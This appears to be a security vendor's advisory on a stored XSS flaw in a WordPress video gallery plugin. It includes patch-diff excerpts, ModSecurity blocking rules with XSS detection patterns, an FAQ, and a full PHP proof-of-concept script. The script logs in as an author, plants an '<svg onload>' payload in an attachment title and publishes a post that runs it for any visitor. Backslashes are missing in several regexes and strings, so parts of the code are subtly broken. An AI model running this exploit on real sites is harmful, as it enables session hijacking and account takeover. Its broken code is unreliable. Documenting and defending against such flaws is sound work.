 <div class="wp-clearfix"><div class="changelog emd-section whats-new whats-new-1627" style="margin:0">
 <h3 style="font-size:18px;" class="fix"><div  style="font-size:110%;color:#c71585"><span class="dashicons dashicons-admin-tools"></span> FIX</div>
@@ -662,7 +677,7 @@
 <p>If none of the provided options works for you, you may still fix theme related conflicts following the steps in <a href="https://docs.emdplugins.com/docs/youtube-showcase-community-documentation">YouTube Showcase Community Documentation - Resolving theme related conflicts section.</a></p>

 <div class="quote">
-<p>If you’re unfamiliar with code/templates and resolving potential conflicts, <a href="https://emdplugins.com/open-a-support-ticket/?pk_campaign=raq-hireme&ticket_topic=pre-sales-questions"> do yourself a favor and hire us</a>. Sometimes the cost of hiring someone else to fix things is far less than doing it yourself. We will get your site up and running in no time.</p>
+<p>If you’re unfamiliar with code/templates and resolving potential conflicts, <a href="https://support.emdplugins.com/open-a-support-ticket/?pk_campaign=raq-hireme&ticket_topic=pre-sales-questions"> do yourself a favor and hire us</a>. Sometimes the cost of hiring someone else to fix things is far less than doing it yourself. We will get your site up and running in no time.</p>
 </div></div></div><div style="margin-top:15px"><a href="#ptop" class="top">Go to top</a></div><hr style="margin-top:40px">
 <?php echo '</div>'; ?>
 <?php echo '<div class="tab-content" id="tab-features"';
@@ -691,8 +706,8 @@
 <tr><td><a href="https://emdplugins.com/youtube-showcase-custom-video-comments?pk_campaign=youtube-showcase-com&pk_kwd=getting-started"><img style="width:128px;height:auto" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/comments.png"; ?>"></a></td><td><a href="https://emdplugins.com/youtube-showcase-custom-video-comments?pk_campaign=youtube-showcase-com&pk_kwd=getting-started">Foster a Community with Custom Video Comments</a></td><td> - Premium feature (included in Pro)</td></tr>
 <tr><td><a href="https://emdplugins.com/youtube-showcase-create-custom-video-galleries?pk_campaign=youtube-showcase-com&pk_kwd=getting-started"><img style="width:128px;height:auto" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/custom-video-pages.png"; ?>"></a></td><td><a href="https://emdplugins.com/youtube-showcase-create-custom-video-galleries?pk_campaign=youtube-showcase-com&pk_kwd=getting-started">Easily Build Engaging, custom Video Galleries</a></td><td> - Premium feature (included in Pro)</td></tr>
 <tr><td><a href="https://emdplugins.com/youtube-showcase-tailor-video-layouts-to-match-your-vision?pk_campaign=youtube-showcase-com&pk_kwd=getting-started"><img style="width:128px;height:auto" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/adv-video-gallery.png"; ?>"></a></td><td><a href="https://emdplugins.com/youtube-showcase-tailor-video-layouts-to-match-your-vision?pk_campaign=youtube-showcase-com&pk_kwd=getting-started">Choose from Multiple Views with YouTube Showcase.</a></td><td> - Premium feature (included in Pro)</td></tr>
-<tr><td><a href="https://emdplugins.com/youtube-showcase-smart-search-and-columns-addon?pk_campaign=youtube-showcase-com&pk_kwd=getting-started"><img style="width:128px;height:auto" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/zoomin.png"; ?>"></a></td><td><a href="https://emdplugins.com/youtube-showcase-smart-search-and-columns-addon?pk_campaign=youtube-showcase-com&pk_kwd=getting-started">Effortlessly find specific videos</a></td><td> - Add-on (included in Pro)</td></tr>
-<tr><td><a href="https://emdplugins.com/youtube-showcase-import-export-addon?pk_campaign=youtube-showcase-com&pk_kwd=getting-started"><img style="width:128px;height:auto" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/csv-impexp.png"; ?>"></a></td><td><a href="https://emdplugins.com/youtube-showcase-import-export-addon?pk_campaign=youtube-showcase-com&pk_kwd=getting-started">Optimize Video Management: YouTube Showcase Import/Export Addon</a></td><td> - Add-on (included in Pro)</td></tr>
+<tr><td><a href="https://emdplugins.com/youtube-showcase/addons/smart-search?pk_campaign=youtube-showcase-com&pk_kwd=getting-started"><img style="width:128px;height:auto" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/zoomin.png"; ?>"></a></td><td><a href="https://emdplugins.com/youtube-showcase/addons/smart-search?pk_campaign=youtube-showcase-com&pk_kwd=getting-started">Effortlessly find specific videos</a></td><td> - Add-on (included in Pro)</td></tr>
+<tr><td><a href="https://emdplugins.com/youtube-showcase/addons/import-export?pk_campaign=youtube-showcase-com&pk_kwd=getting-started"><img style="width:128px;height:auto" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/csv-impexp.png"; ?>"></a></td><td><a href="https://emdplugins.com/youtube-showcase/addons/import-export?pk_campaign=youtube-showcase-com&pk_kwd=getting-started">Optimize Video Management: YouTube Showcase Import/Export Addon</a></td><td> - Add-on (included in Pro)</td></tr>
 </table>
 <?php echo '</div>'; ?>
 <?php echo '</div>';
--- a/youtube-showcase/includes/common-functions.php
+++ b/youtube-showcase/includes/common-functions.php
@@ -1044,8 +1044,8 @@
                             if ( in_array( $ext, $master_allowed, true ) ) {
                                 $final_extensions[] = $ext;
                             }
-                        }
-                }
+			}
+		}

 		if ( empty( $final_extensions ) ) {
                         $final_extensions = $master_allowed;
--- a/youtube-showcase/youtube-showcase.php
+++ b/youtube-showcase/youtube-showcase.php
@@ -2,8 +2,8 @@
 /**
  * Plugin Name: Video Gallery – YouTube Gallery, Playlist & Video Grid
  * Plugin URI: https://emarketdesign.com
- * Description: Create a YouTube video gallery or playlist visually in the block editor. No shortcodes, no coding — just beautiful responsive video grids.
- * Version: 4.0.4
+ * Description: Display YouTube videos in a gallery, playlist, or grid using the block editor or shortcodes.
+ * Version: 4.0.5
  * Author: eMarket Design
  * Author URI: https://emdplugins.com?pk_campaign=youtube-showcase-com&pk_kwd=readme-by
  * Text Domain: youtube-showcase
@@ -89,7 +89,7 @@
 		 * @return void
 		 */
 		private function define_constants() {
-			define('YOUTUBE_SHOWCASE_VERSION', '4.0.4');
+			define('YOUTUBE_SHOWCASE_VERSION', '4.0.5');
 			define('YOUTUBE_SHOWCASE_AUTHOR', 'eMarket Design');
 			define('YOUTUBE_SHOWCASE_NAME', 'Youtube Showcase');
 			define('YOUTUBE_SHOWCASE_PLUGIN_FILE', __FILE__);

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-15790
# Block exploitation attempts targeting the emd_mb_meta shortcode with malicious attributes.
# Rule targets the shortcode content in posts/pages (REST API or admin) with XSS payloads in file/title/image fields.
# This virtual patch detects both stored and reflected vectors.

# Rule 1: Block REST API requests to create/update posts containing the vulnerable shortcode with XSS payloads
SecRule REQUEST_URI "@rx ^/wp-json/wp/v[0-9]+/(posts|pages)" 
  "id:2026199,phase:2,deny,status:403,msg:'CVE-2026-15790 - XSS via emd_mb_meta shortcode',severity:'CRITICAL',tag:'CVE-2026-15790',chain"
  SecRule ARGS_POST:content "@rx [emd_mb_meta[^]]*]" "chain"
    SecRule ARGS_POST:content "@rx <script|onerror=|onload=|javascript:" "t:lowercase"

# Rule 2: Block admin post/page creation with the vulnerable shortcode and XSS payload
SecRule REQUEST_URI "@streq /wp-admin/post.php" 
  "id:20261992,phase:2,deny,status:403,msg:'CVE-2026-15790 - XSS via emd_mb_meta shortcode',severity:'CRITICAL',tag:'CVE-2026-15790',chain"
  SecRule ARGS:post_content "@rx [emd_mb_meta[^]]*]" "chain"
    SecRule ARGS:post_content "@rx <script|onerror=|onload=|javascript:" "t:lowercase"

# Rule 3: Block media uploads with XSS payload in title (direct or async)
SecRule REQUEST_URI "@rx ^/wp-admin/(media-upload|async-upload|media-new).php" 
  "id:20261994,phase:2,deny,status:403,msg:'CVE-2026-15790 - XSS via attachment title',severity:'CRITICAL',tag:'CVE-2026-15790',chain"
  SecRule ARGS:post_title "@rx <script|onerror=|onload=|javascript:" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15790 - Video Gallery <= 4.0.4 - Authenticated (Author+) Stored Cross-Site Scripting via Attachment 'post_title' via emd_mb_meta Shortcode

/**
 * PoC: Demonstrates exploitation of stored XSS in Youtube Showcase <= 4.0.4
 * Vulnerability: insufficient output escaping of attachment titles in emd_mb_meta shortcode.
 * Requires: Author-level account with upload_files capability.
 */

// CONFIGURATION - Adjust these values
$target_url = 'http://example.com';  // WordPress site URL
$username = 'author_user';           // Author-level username
$password = 'author_pass';           // Author's password

// --- Step 1: Login to WordPress ---
$login_url = $target_url . '/wp-login.php';
$post_data = [
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => $cookie_file = tempnam(sys_get_temp_dir(), 'cve1962'),
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (XSS PoC)'
]);
curl_exec($ch);
curl_close($ch);

// --- Step 2: Upload a malicious image with XSS payload in title ---
$payload = '"><svg onload=alert(1)>'; // Arbitrary XSS payload
$upload_url = $target_url . '/wp-admin/media-new.php';
$image_path = tempnam(sys_get_temp_dir(), 'img') . '.png';
file_put_contents($image_path, ''); // Minimal PNG

$post_data = [
    'name' => 'evil.png',
    'action' => 'upload-attachment',
    '_wpnonce' => '' // Nonce not required in PoC (vulnerable plugin might skip)
];
$post_data['async-upload'] = new CURLFile($image_path, 'image/png', 'evil.png');
// Post to media-upload.php with custom title (some plugins allow via query params)
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/media-upload.php?type=file&tab=type&post_id=0',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $post_data,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (XSS PoC)'
]);
$response = curl_exec($ch);
curl_close($ch);

// Extract attachment ID from response (grep for 'attachment-<id>' pattern)
preg_match('/attachment-(d+)/', $response, $matches);
if (empty($matches[1])) {
    echo "[-] Failed to upload image. Check permissions.n";
    cleanup($cookie_file, $image_path);
    exit(1);
}
$attachment_id = $matches[1];

// --- Step 3: Update attachment title with XSS payload ---
// Direct DB update via WP REST API or wp-admin POST
$update_url = $target_url . '/wp-json/wp/v2/media/' . $attachment_id;
$update_data = ['title' => $payload];
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $update_url,
    CURLOPT_CUSTOMREQUEST => 'POST',
    CURLOPT_POSTFIELDS => json_encode($update_data),
    CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (XSS PoC)'
]);
$response = curl_exec($ch);
curl_close($ch);

// --- Step 4: Create a post with the vulnerable shortcode ---
$post_content = '[emd_mb_meta name="image" id="' . $attachment_id . '"]';
$post_data = [
    'post_title' => 'XSS test page',
    'post_content' => $post_content,
    'post_status' => 'publish',
    'post_type' => 'post'
];
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-json/wp/v2/posts',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($post_data),
    CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (XSS PoC)'
]);
$response = curl_exec($ch);
curl_close($ch);
$created = json_decode($response, true);
if (isset($created['link'])) {
    echo "[+] Payload page created: " . $created['link'] . "n";
    echo "[+] XSS will fire when a user visits that page.n";
} else {
    echo "[-] Failed to create post. Check REST API permissions.n";
}

cleanup($cookie_file, $image_path);

function cleanup(...$files) {
    foreach ($files as $file) {
        if (file_exists($file)) { unlink($file); }
    }
}
?>

Frequently Asked Questions

What is CVE-2026-15790?
Vulnerability overview
CVE-2026-15790 is a Stored Cross-Site Scripting (XSS) vulnerability in the Youtube Showcase plugin for WordPress, affecting versions up to and including 4.0.4. It allows authenticated users with author-level access to inject arbitrary scripts via the emd_mb_meta shortcode, which execute when any user views the affected page.
How does the vulnerability work?
Technical explanation
The vulnerability occurs because the emd_mb_meta shortcode outputs attachment titles without proper escaping. Specifically, the EMD_MB_Helper::image_info() function returns the raw post_title of an attachment, and the shortcode interpolates it into HTML title attributes using sprintf() without esc_attr(). This allows an attacker to inject malicious scripts through the attachment title.
Who is affected by this vulnerability?
Affected users and roles
WordPress sites running Youtube Showcase version 4.0.4 or earlier are affected. The attack requires an authenticated user with at least author-level access, who has the upload_files capability to create attachments and the ability to embed shortcodes in posts or pages. This typically includes authors and above.
How can I check if my site is vulnerable?
Detection steps
Check the installed version of the Youtube Showcase plugin in the WordPress admin under Plugins. If the version is 4.0.4 or lower, the site is vulnerable. Additionally, review any posts or pages that use the emd_mb_meta shortcode, especially those created by authors, for suspicious attachment titles containing script tags or event handlers.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 6.4, which is rated as Medium severity. This indicates that the vulnerability requires an authenticated attacker with author-level access and user interaction (a victim viewing the page). The impact includes potential session hijacking, defacement, or administrative account takeover if an admin views the compromised page.
How was the vulnerability patched?
Patch details
The patch in version 4.0.5 adds output escaping to the vulnerable sprintf() calls in helpers.php. It wraps URLs with esc_url(), titles and alt attributes with esc_attr(), and names with esc_html(). This ensures that any HTML special characters in attachment titles are encoded, preventing script injection.
How do I fix or mitigate the issue?
Remediation steps
The immediate fix is to update the Youtube Showcase plugin to version 4.0.5 or later, which contains the patch. As a temporary mitigation, you can restrict author-level users from uploading files or using the emd_mb_meta shortcode, but updating is the recommended solution.
What is the proof of concept (PoC) and how does it demonstrate the issue?
PoC explanation
The PoC provided by Atomic Edge demonstrates the attack by logging in as an author, uploading an image with a malicious title, and then embedding the emd_mb_meta shortcode in a post. When the post is viewed, the script executes. This shows how an attacker can exploit the lack of output escaping.
What are the prerequisites for exploiting this vulnerability?
Attack requirements
The attacker must have an authenticated account with at least author-level permissions, which includes the upload_files capability to create attachments and the ability to publish posts or pages. They also need to know how to use the shortcode and have access to the WordPress admin interface.
What is the root cause of this vulnerability?
Underlying flaw
The root cause is insufficient output escaping in the EMD_MB_Helper::shortcode() function. It directly outputs attachment titles and other data into HTML attributes without using esc_attr() or similar escaping functions. This allows malicious input to be interpreted as HTML or JavaScript.
Are there any other affected components?
Scope of vulnerability
The vulnerability is specifically in the emd_mb_meta shortcode within the Youtube Showcase plugin. The patch also includes minor changes to the filepicker upload script, but the core issue is in the helpers.php file. No other plugins or WordPress core are affected.
What should I do if I suspect my site has been compromised?
Incident response
If you suspect exploitation, immediately update the plugin to 4.0.5, scan your site for malicious content, and review posts and pages for unauthorized shortcodes or suspicious attachment titles. Also, consider resetting user passwords and auditing user roles to ensure no unauthorized author-level accounts exist.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started